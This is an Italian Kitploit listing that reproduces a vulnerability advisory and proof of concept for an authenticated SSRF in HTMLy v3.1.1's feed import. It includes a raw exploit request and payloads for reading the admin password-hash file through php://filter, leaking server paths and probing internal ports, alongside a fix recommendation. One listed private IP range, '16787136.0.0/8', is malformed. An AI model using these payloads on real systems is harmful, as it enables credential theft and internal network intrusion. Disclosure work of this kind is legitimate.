Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-37107 — Proof-of-concept e analisi tecnica per CVE-2026-37107, una SSRF autenticata nell'importazione dei feed di HTMLy v3.1.1 che consente la lettura arbitraria di file tramite i wrapper di stream PHP e il probing della rete interna. | Kitploit
Strumenti/GitHubGitHub/kyrieklay/cve-2026-37107
Analisi delle VulnerabilitàSfruttamento di Applicazioni WebEsfiltrazione DatiRaccolta InformazioniSicurezza WebPaper e Ricerca
GitHubkyrieklay/cve-2026-37107

CVE-2026-37107

Proof-of-concept e analisi tecnica per CVE-2026-37107, una SSRF autenticata nell'importazione dei feed di HTMLy v3.1.1 che consente la lettura arbitraria di file tramite i wrapper di stream PHP e il probing della rete interna.

Vedi Repository
11 mese faNon ancora revisionato
Condividi

CVE-2026-37107: HTMLy v3.1.1 — SSRF autenticato tramite get_feed() che porta a lettura arbitraria di file (php://filter / file://) e sondaggio della rete interna

  • CVE ID: CVE-2026-37107
  • Prodotto: HTMLy (https://www.htmly.com/)
  • Versione affetta: v3.1.1 (ultima release al momento della scoperta, https://github.com/danpros/htmly/releases/tag/v3.1.1)
  • Componente affetto: /system/admin/admin.php, funzione get_feed(), raggiungibile tramite POST /admin/import
  • Tipo di vulnerabilità: CWE-918 Server-Side Request Forgery (SSRF) → lettura arbitraria di file tramite wrapper di stream PHP (CWE-552 / CWE-73)
  • Tipo di attacco: Remoto (richiede una sessione admin autenticata e un token CSRF valido)
  • Impatto: Divulgazione di informazioni = vero (divulgazione dell'hash delle credenziali admin + SSRF verso la rete interna)
  • Segnalatore: Feng Jiawei

1. Riepilogo

HTMLy v3.1.1 espone una funzionalità "Import Feed" su POST /admin/import. Il parametro url fornito dall'utente viene passato senza alcuna validazione di protocollo/destinazione a get_feed(), che lo consegna direttamente a file_get_contents() di PHP. Poiché file_get_contents() accetta i wrapper di stream PHP, un admin autenticato può fornire schemi file://, php://filter/... o http://127.0.0.1/... per:

  1. Leggere file locali arbitrari — incluso config/users/<user>.ini che memorizza l'hash bcrypt della password admin (tramite php://filter/convert.base64-encode per rendere la lettura sicura per i dati binari);
  2. Scoprire il percorso assoluto della web root del server tramite l'output di warning di file_get_contents();
  3. Sondare e interagire con servizi della rete interna (endpoint HTTP su localhost e LAN).

L'hash della password admin divulgato può essere crackato offline per recuperare la password in chiaro (verificato con hashcat -m 3200).

2. Causa radice

system/admin/admin.php righe 1531-1534:

// Fetch RSS feed
function get_feed($feed_url, $credit)
{
    $source = file_get_contents($feed_url);   // line 1533 — NO protocol validation
    $feed = new SimpleXmlElement($source);    // line 1534
    ...
}

Raggiungibile da system/htmly.php (route POST /admin/import, righe 1772-1786):

post('/admin/import', function () {
    if(!login()) { ... }
    $proper = is_csrf_proper(from($_REQUEST, 'csrf_token'));
    $url = from($_REQUEST, 'url');            // line 1778 — attacker-controlled
    ...
    if ($role === 'admin') {
        if (!empty($url) && $proper) {
            get_feed($url, $credit);          // line 1785 — sinks into file_get_contents()
            $log = get_feed($url, $credit);   // line 1786 — note: called TWICE (also a defect)

Nessuna allow-list (ad es. solo http:///https://) viene applicata a $url in nessun punto della catena di chiamata.

3. Sfruttamento verificato (riproduzione in laboratorio)

Ambiente: Apache/2.4.43 + PHP 7.3.4 (mod_fcgid), HTMLy v3.1.1, l'attaccante dispone di un account admin.

Passo 1 — Scoperta del percorso assoluto

url=file:///C:/ → l'avviso PHP rivela la web root assoluta:

Warning: file_get_contents(file:///C:/): failed to open stream: No such file or directory
in D:\...\htmly-3.1.1\system\admin\admin.php on line 1533

Passo 2 — Lettura arbitraria di file tramite php://filter (hash della password admin)

url=php://filter/convert.base64-encode/resource=<WEBROOT>/config/users/admin.ini

Il contenuto del file codificato in base64 viene riflesso nell'output dell'errore del parser SimpleXMLElement::__construct() e nel contesto dell'errore fatale; la decodifica restituisce:

password = $2y$10$WviBJCqjxQPOpwLKFNTez...   (bcrypt hash, cracked offline)
role     = admin

Passo 3 — SSRF sulla rete interna (verificato con un listener di callback)

url=http://127.0.0.1:<LISTENER_PORT>/feed.xml che serve un documento RSS valido → il listener ha ricevuto due richieste HTTP GET dal processo del server (corrispondenti alle chiamate duplicate a get_feed() alle righe 1785-1786), e l'importazione del feed è stata completata, dimostrando la piena capacità di request forgery verso i servizi interni.

Nota: la riflessione grezza in base64/stack-trace è visibile quando display_errors=On (come nell'ambiente di test originale del segnalatore). Con display_errors=Off l'SSRF viene comunque eseguito (verificato tramite callback + oracolo comportamentale 500-vs-200); la lettura del file stessa non è influenzata.

4. Proof-of-Concept HTTP grezzo

POST /admin/import HTTP/1.1
Host: <TARGET_HOST>
Content-Length: 205
Cache-Control: max-age=0
Origin: http://<TARGET_HOST>
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;b3;q=0.7
Referer: http://<TARGET_HOST>/admin/import
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=<ADMIN_SESSION_ID>
Connection: keep-alive

url=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D<URL_ENCODED_FILE_PATH>&csrf_token=<CSRF_TOKEN>&submit=Start+Import+Feed

Riferimento payload (URL-encode :→%3A, /→%2F):

  • Scoperta del percorso: url=file%3A%2F%2F%2FC%3A%2F
  • Lettura file (base64): url=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D<FILE_PATH>
  • Sondaggio interno: url=http%3A%2F%2F127.0.0.1%3A3306 / url=http%3A%2F%2F192.168.1.100%3A8080

<CSRF_TOKEN> viene ottenuto dal campo nascosto csrf_token nella pagina GET /admin/import (legato alla sessione admin).

5. Valutazione dell'impatto

ImpattoConfermatoNote
SSRF sulla rete internaSìIl listener di callback ha ricevuto richieste; l'attaccante controlla completamente schema/host/porta
Lettura arbitraria di fileSìLa catena php://filter restituisce il base64 binary-safe di qualsiasi file leggibile
Divulgazione di credenziali sensibiliSìconfig/users/*.ini memorizza l'hash bcrypt dell'admin
Recupero delle credenziali adminSìCrack offline dell'hash bcrypt divulgato (hashcat -m 3200, verificato)
Divulgazione del percorso assolutoSìOutput di warning di file_get_contents()

6. Raccomandazione di correzione

Validare lo schema nel gestore della route prima di chiamare get_feed():

$scheme = parse_url($url, PHP_URL_SCHEME);
if (!in_array($scheme, ['http', 'https'], true)) {
    // reject: render error, do not fetch
}

Difesa in profondità:

  • Risolvere il nome host e rifiutare gli intervalli privati/loopback/link-local (16787136.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, ::1, 169.254.0.0/16) per mitigare il probing interno;
  • Disabilitare i wrapper di stream pericolosi tramite l'hardening di allow_url_fopen ove fattibile, oppure effettuare il fetch tramite cURL limitato a HTTP(S);
  • Rimuovere la chiamata duplicata a get_feed() (riga 1786);
  • Non mostrare agli utenti finali warning/errori PHP grezzi.

7. Cronologia

  • 2026-10-09: Vulnerabilità confermata su HTMLy v3.1.1 in ambiente di laboratorio isolato; PoC validato end-to-end (divulgazione del percorso, lettura del file hash dell'amministratore, callback SSRF interno).

8. Riferimenti

  • https://www.htmly.com/
  • https://github.com/danpros/htmly/releases/tag/v3.1.1
Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    524
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    478
  • 3

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    357
  • 4

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    317
  • 5

    estorides

    grisuno/estorides

    Aggrega in parallelo oltre 99 fonti OSINT gratuite, risolve le entità in un knowledge graph ed esporta in STIX 2.1, MISP o GraphML con analisi assistita da LLM.

    305
  • 6

    opencti

    opencti-platform/opencti

    Piattaforma aperta di intelligence sulle minacce informatiche

    275

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →